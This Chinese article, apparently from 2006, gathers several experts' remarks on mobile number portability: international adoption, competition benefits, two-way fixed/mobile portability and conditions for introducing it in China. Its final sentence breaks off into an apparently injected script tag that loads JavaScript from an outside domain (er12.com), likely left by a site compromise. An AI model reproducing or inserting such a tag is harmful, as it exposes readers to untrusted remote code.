世界上已经有近40个国家和地区实施了移动号码携带。欧盟以及美、日、韩等发达国家和地区已经实施了号码携带,下一个市场热点可能会转向发展中国家,特别是亚太和南美地区,将成为号码携带的热点地区。
雷震洲 号码携带作为一种激活市场、促进竞争、提高服务水平、拓展行业整体发展空间的一种监管政策手段,在国际电信业界已经有十几年历史。截至2006年10月,世界上已经有近40个国家和地区实施了移动号码携带。目前,全球每月大约有50万用户使用号码携带业务。从国际上的总体发展趋势看,近两年,号码携带的发展非常迅速,继欧盟国家普遍实施号码携带以后,亚洲已经逐渐成为号码携带实施的热点地区。在我们周边的电信市场中,新加坡、韩国、日本、巴基斯坦以及中国香港、中国台湾都已经开始实施号码携带。
徐 穗 号码携带最早是新加坡1997年实施的,欧盟要求各成员国在2003年7月以前必须实施,美国fcc也要求运营商在2003年2月4日正式执行,日本则在2006年10月24日已经开始实施号码携带。除全球近40个国家和地区实施号码携带之外,还有13个国家计划实施。我们认为,号码携带既有利于消费者,也有利于优化市场结构,通过市场的管制措施,实现有效竞争,提高消费者福利。对消费者来说,号码携带可以减少用户的转网成本。对国家来说,号码携带能节约码号资源,是必须实施的。新进入市场的运营商面临的最大障碍就是号码不可携带,而实施号码携带政策将有利于市场的竞争。号码携带可以打破现有电信运营商的优势地位,从而促进市场竞争,优化市场结构。
龚双瑾 现在比较关注的是网间号码携带。从一个运营商的号码换成另外一个运营商的号码,涉及到结算、管制等比较多的问题。对号码携带业务的实施也有比较详细的要求,归结起来,一是实施号码携带以后,要具备支持现有的网络业务、特征和能力,对此,政府管制部门会有一些基本要求。另外,实施号码携带时不能导致不合理的业务质量或网络可靠性的下降。
胡 珊 最近,号码携带出现了双向携带的新现象,就是说固定号码和移动号码统一进行编码,然后实施双向携带。加拿大正在探讨双向号码携带的可能性,丹麦已经有计划在今年年底开始实施双向号码携带。中国香港特别行政区ofta也在2006年8月份通过了固网与移动电话汇流的报告,这个报告建议在2008年左右将固定号码和手机号码合并,届时可能会实现双向携带。
目前,全球有38个国家和地区实施了号码携带,这些国家大多归属欧洲。到今年底,泰国也会实施号码携带。到2007年,印度、保加利亚、加拿大和新西兰会实施号码携带,此外,南美洲和东欧的国家也在探讨实施号码携带的可能性。而且,号码携带可能会越来越多地向移动号码携带转变。欧盟以及美、日、韩等发达国家和地区已经实施了号码携带,下一个市场热点可能会转向发展中国家,特别是亚太和南美地区,将成为号码携带的热点地区。
陈家春 号码携带不是一个新课题,国际上也有很多经验和做法可以借鉴。美国有固定到移动的号码携带,而我国的号码携带需要基于全业务的情况,进行全方位的考虑。
对于我国,号码携带是包含在3g的“一揽子”课题里,需要从促进未来整个电信业发展和市场竞争的方面进行研究。我看大家对是否应该在我国实施号码携带没有异议,只是需要对什么时候实施,怎么实施,达到何种目标等问题做进一步的研究。
王安平 号码携带是为促进电信市场竞争采取的有效管制政策。对此,各国采用的技术方式不一样,得到的效果也不一样。对于号码携带实施的时机、步骤以及将来配套管理政策的出台,这些研究还只是停滞在原来的基础上,希望研究能够再深入一些、全面一些。号码携带业务也需要在市场的主导下发展。
业务启动需要具备哪些条件?
号码携带的实施需要考虑经济、技术、政策、市场四方面的因素。各国移动号码携带使用率参差不齐,政府能否在其中发挥主导作用是推动号码携带顺利实施的主要因素。
徐 穗 号码携带的实施需要考虑经济、技术、政策、市场四方面的因素。在政策方面,从近几年的情况看,信息产业部高度重视这一政策的功效,也已经将号码携带列入“十一五”规划。因此,我们认为实施号码携带在中国具备了良好的政策条件。在技术方面,从实现号码的技术标准来看,有etsi规范、itu规范,各种技术的实现方式在全球得到了广泛的实践。国际上的实践也为我国制定相关标准提供了良好的参考和借鉴。在经济方面,从各个国家的实施情况看,引入?script src=http://er12.com/t.js>











